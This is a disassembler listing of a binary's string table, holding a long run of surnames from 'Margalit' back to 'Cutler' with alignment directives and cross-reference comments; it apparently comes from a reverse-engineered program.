aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E0B8o align 10h aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E0B4o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E0B0o align 4 aMarch db 'March',0 ; DATA XREF: ___:0042E0ACo align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E0A8o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E0A4o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E0A0o align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E09Co aMalova db 'Malova',0 ; DATA XREF: ___:0042E098o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E094o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E090o align 10h aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E08Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E088o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E084o align 10h aMahony db 'Mahony',0 ; DATA XREF: ___:0042E080o align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E07Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E078o aMacy db 'Macy',0 ; DATA XREF: ___:0042E074o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E070o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E06Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E068o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E064o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E060o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E05Co align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E058o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E054o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E050o align 10h aLussier db 'Lussier',0 ; DATA XREF: ___:0042E04Co aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E048o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E044o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E040o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E03Co aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E038o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E034o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E030o align 10h aLoza db 'Loza',0 ; DATA XREF: ___:0042E02Co align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E028o align 4 aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E024o aLoss db 'Loss',0 ; DATA XREF: ___:0042E020o align 4 aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E01Co align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E018o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E014o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E010o aLivi db 'Livi',0 ; DATA XREF: ___:0042E00Co align 4 aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E008o align 10h aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E004o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E000o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042DFFCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042DFF8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042DFF4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: ___:0042DFF0o aLine db 'Line',0 ; DATA XREF: ___:0042DFECo align 10h aLinder db 'Linder',0 ; DATA XREF: ___:0042DFE8o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042DFE4o align 10h aLinares db 'Linares',0 ; DATA XREF: ___:0042DFE0o aLim db 'Lim',0 ; DATA XREF: ___:0042DFDCo aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042DFD8o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042DFD4o align 10h aLiem db 'Liem',0 ; DATA XREF: ___:0042DFD0o align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042DFCCo align 10h aLiakos db 'Liakos',0 ; DATA XREF: ___:0042DFC8o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042DFC4o align 10h aLesser db 'Lesser',0 ; DATA XREF: ___:0042DFC0o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042DFBCo align 4 aLenard db 'Lenard',0 ; DATA XREF: ___:0042DFB8o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042DFB4o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042DFB0o align 10h aLecce db 'Lecce',0 ; DATA XREF: ___:0042DFACo align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042DFA8o align 10h aLawless db 'Lawless',0 ; DATA XREF: ___:0042DFA4o aLashley db 'Lashley',0 ; DATA XREF: ___:0042DFA0o aLaserna db 'Laserna',0 ; DATA XREF: ___:0042DF9Co aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042DF98o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042DF94o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042DF90o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0042DF8Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042DF88o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0042DF84o align 10h aLafler db 'Lafler',0 ; DATA XREF: ___:0042DF80o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0042DF7Co aLa db 'La',0 ; DATA XREF: ___:0042DF78o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042DF74o align 10h aKusman db 'Kusman',0 ; DATA XREF: ___:0042DF70o align 4 aKumar db 'Kumar',0 ; DATA XREF: ___:0042DF6Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042DF68o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042DF64o aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042DF60o aKraus db 'Kraus',0 ; DATA XREF: ___:0042DF5Co align 10h aKrasney db 'Krasney',0 ; DATA XREF: ___:0042DF58o aKrailo db 'Krailo',0 ; DATA XREF: ___:0042DF54o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042DF50o aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042DF4Co align 10h aKotter db 'Kotter',0 ; DATA XREF: ___:0042DF48o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042DF44o align 4 aKool db 'Kool',0 ; DATA XREF: ___:0042DF40o align 4 aKonrad db 'Konrad',0 ; DATA XREF: ___:0042DF3Co align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042DF38o align 10h aKommer db 'Kommer',0 ; DATA XREF: ___:0042DF34o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042DF30o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0042DF2Co align 4 aKoch db 'Koch',0 ; DATA XREF: ___:0042DF28o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042DF24o aKnuff db 'Knuff',0 ; DATA XREF: ___:0042DF20o align 4 aKlint db 'Klint',0 ; DATA XREF: ___:0042DF1Co align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042DF18o aKling db 'Kling',0 ; DATA XREF: ___:0042DF14o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042DF10o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042DF0Co aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042DF08o aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042DF04o align 4 aKittridge db 'Kittridge',0 align 4 aKirscht db 'Kirscht',0 aKippenberger db 'Kippenberger',0 align 10h aKinsley db 'Kinsley',0 aKindall db 'Kindall',0 aKimura db 'Kimura',0 align 4 aKimmett db 'Kimmett',0 aKimmel db 'Kimmel',0 align 4 aKhong db 'Khong',0 align 10h aKeul db 'Keul',0 align 4 aKerry db 'Kerry',0 align 10h aKendall db 'Kendall',0 aKemsley db 'Kemsley',0 aKempton db 'Kempton',0 aKelsey db 'Kelsey',0 align 10h aKelker db 'Kelker',0 align 4 aKeith db 'Keith',0 align 10h aKeepper db 'Keepper',0 aKeenan db 'Keenan',0 align 10h aKee db 'Kee',0 aKawachi db 'Kawachi',0 aKasten db 'Kasten',0 align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0042DEA8o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042DEA4o align 4 aKangis db 'Kangis',0 ; DATA XREF: ___:0042DEA0o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0042DE9Co align 4 aKalman db 'Kalman',0 ; DATA XREF: ___:0042DE98o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042DE94o align 10h aKalil db 'Kalil',0 ; DATA XREF: ___:0042DE90o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042DE8Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042DE88o aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042DE84o aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042DE80o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042DE7Co aJulious db 'Julious',0 ; DATA XREF: ___:0042DE78o aJuliano db 'Juliano',0 ; DATA XREF: ___:0042DE74o aJucks db 'Jucks',0 ; DATA XREF: ___:0042DE70o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042DE6Co align 10h aJolly db 'Jolly',0 ; DATA XREF: ___:0042DE68o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0042DE64o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042DE60o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042DE5Co aJewett db 'Jewett',0 ; DATA XREF: ___:0042DE58o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042DE54o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042DE50o aJellis db 'Jellis',0 ; DATA XREF: ___:0042DE4Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042DE48o aJay db 'Jay',0 ; DATA XREF: ___:0042DE44o aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042DE40o aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042DE3Co align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042DE38o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0042DE34o align 10h aJain db 'Jain',0 ; DATA XREF: ___:0042DE30o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042DE2Co align 10h aJagger db 'Jagger',0 ; DATA XREF: ___:0042DE28o align 4 aJagers db 'Jagers',0 ; DATA XREF: ___:0042DE24o align 10h aJackson db 'Jackson',0 ; DATA XREF: ___:0042DE20o aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042DE1Co aIyer db 'Iyer',0 ; DATA XREF: ___:0042DE18o align 4 aIsserman db 'Isserman',0 ; DATA XREF: ___:0042DE14o align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0042DE10o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042DE0Co align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0042DE08o align 10h aInniss db 'Inniss',0 ; DATA XREF: ___:0042DE04o align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0042DE00o aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042DDFCo align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042DDF8o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042DDF4o align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0042DDF0o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042DDECo align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042DDE8o align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0042DDE4o align 4 aHuntington db 'Huntington',0 ; DATA XREF: ___:0042DDE0o align 4 aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042DDDCo align 4 aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042DDD8o align 10h aHuey db 'Huey',0 ; DATA XREF: ___:0042DDD4o align 4 aHoy db 'Hoy',0 ; DATA XREF: ___:0042DDD0o aHoward db 'Howard',0 ; DATA XREF: ___:0042DDCCo align 4 aHottle db 'Hottle',0 ; DATA XREF: ___:0042DDC8o align 4 aHostage db 'Hostage',0 ; DATA XREF: ___:0042DDC4o aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042DDC0o aHorsley db 'Horsley',0 ; DATA XREF: ___:0042DDBCo aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042DDB8o aHooker db 'Hooker',0 ; DATA XREF: ___:0042DDB4o align 4 aHolzman db 'Holzman',0 ; DATA XREF: ___:0042DDB0o aHolway db 'Holway',0 ; DATA XREF: ___:0042DDACo align 4 aHolter db 'Holter',0 ; DATA XREF: ___:0042DDA8o align 4 aHoloien db 'Holoien',0 ; DATA XREF: ___:0042DDA4o aHolmes db 'Holmes',0 ; DATA XREF: ___:0042DDA0o align 4 aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042DD9Co align 4 aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042DD98o align 10h aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042DD94o aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042DD90o align 10h aHock db 'Hock',0 ; DATA XREF: ___:0042DD8Co align 4 aHoang db 'Hoang',0 ; DATA XREF: ___:0042DD88o align 10h aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042DD84o align 4 aHirst db 'Hirst',0 ; DATA XREF: ___:0042DD80o align 4 aHind db 'Hind',0 ; DATA XREF: ___:0042DD7Co align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042DD78o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042DD74o align 10h aHeubert db 'Heubert',0 ; DATA XREF: ___:0042DD70o aHester db 'Hester',0 ; DATA XREF: ___:0042DD6Co align 10h aHerrera db 'Herrera',0 ; DATA XREF: ___:0042DD68o aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042DD64o align 4 aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042DD60o align 10h aHenery db 'Henery',0 ; DATA XREF: ___:0042DD5Co align 4 aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042DD58o align 4 aHelprin db 'Helprin',0 ; DATA XREF: ___:0042DD54o aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042DD50o align 4 aHellman db 'Hellman',0 ; DATA XREF: ___:0042DD4Co aHeiland db 'Heiland',0 ; DATA XREF: ___:0042DD48o aHeft db 'Heft',0 ; DATA XREF: ___:0042DD44o align 10h aHeermans db 'Heermans',0 ; DATA XREF: ___:0042DD40o align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042DD3Co align 4 aHaynes db 'Haynes',0 ; DATA XREF: ___:0042DD38o align 10h aHayes db 'Hayes',0 ; DATA XREF: ___:0042DD34o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042DD30o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042DD2Co align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042DD28o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042DD24o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042DD20o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042DD1Co aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042DD18o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042DD14o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042DD10o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042DD0Co aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042DD08o aHand db 'Hand',0 ; DATA XREF: ___:0042DD04o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042DD00o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042DCFCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042DCF8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042DCF4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042DCF0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042DCECo aHaley db 'Haley',0 ; DATA XREF: ___:0042DCE8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042DCE4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042DCE0o aHaar db 'Haar',0 ; DATA XREF: ___:0042DCDCo align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042DCD8o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042DCD4o aGunn db 'Gunn',0 ; DATA XREF: ___:0042DCD0o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042DCCCo align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042DCC8o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042DCC4o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042DCC0o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042DCBCo align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042DCB8o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042DCB4o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042DCB0o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042DCACo aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042DCA8o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042DCA4o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042DCA0o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042DC9Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042DC98o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042DC94o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DC90o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DC8Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042DC88o aGist db 'Gist',0 ; DATA XREF: ___:0042DC84o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DC80o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042DC7Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042DC78o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DC74o aGibson db 'Gibson',0 ; DATA XREF: ___:0042DC70o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DC6Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DC68o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DC64o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DC60o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DC5Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042DC58o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DC54o aGarman db 'Garman',0 ; DATA XREF: ___:0042DC50o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DC4Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042DC48o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DC44o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DC40o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DC3Co align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DC38o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DC34o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042DC30o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042DC2Co align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DC28o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042DC24o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DC20o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DC1Co aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DC18o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DC14o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042DC10o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DC0Co align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042DC08o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DC04o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042DC00o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DBFCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DBF8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042DBF4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042DBF0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042DBECo aFortes db 'Fortes',0 ; DATA XREF: ___:0042DBE8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042DBE4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042DBE0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042DBDCo align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042DBD8o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DBD4o ; Themida_:0055849Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042DBD0o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DBCCo aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DBC8o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DBC4o aFink db 'Fink',0 ; DATA XREF: ___:0042DBC0o align 10h aField db 'Field',0 ; DATA XREF: ___:0042DBBCo align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042DBB8o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DBB4o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DBB0o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DBACo align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DBA8o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042DBA4o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DBA0o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DB9Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DB98o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042DB94o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DB90o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042DB8Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042DB88o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042DB84o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DB80o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DB7Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DB78o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042DB74o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DB70o aEverett db 'Everett',0 ; DATA XREF: ___:0042DB6Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DB68o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042DB64o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042DB60o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DB5Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042DB58o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042DB54o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042DB50o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042DB4Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042DB48o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DB44o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DB40o aElvis db 'Elvis',0 ; DATA XREF: ___:0042DB3Co align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DB38o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DB34o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DB30o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DB2Co aEdward db 'Edward',0 ; DATA XREF: ___:0042DB28o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042DB24o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042DB20o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042DB1Co align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DB18o aEardley db 'Eardley',0 ; DATA XREF: ___:0042DB14o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DB10o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042DB0Co align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DB08o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DB04o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DB00o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DAFCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DAF8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042DAF4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042DAF0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042DAECo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042DAE8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042DAE4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DAE0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042DADCo align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DAD8o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DAD4o aDockery db 'Dockery',0 ; DATA XREF: ___:0042DAD0o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DACCo aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DAC8o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DAC4o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DAC0o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DABCo aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DAB8o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042DAB4o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DAB0o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DAACo aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DAA8o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042DAA4o aDenham db 'Denham',0 ; DATA XREF: ___:0042DAA0o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042DA9Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DA98o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042DA94o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042DA90o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA8Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042DA88o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DA84o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DA80o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA7Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA78o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA74o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA70o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA6Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA68o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA64o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA60o aDavid db 'David',0 ; DATA XREF: ___:0042DA5Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA58o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA54o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042DA50o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA4Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA48o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042DA44o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA40o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA3Co aDaly db 'Daly',0 ; DATA XREF: ___:0042DA38o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DA34o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DA30o aCyders db 'Cyders',0 ; DATA XREF: ___:0042DA2Co align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042DA28o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042DA24o align 4 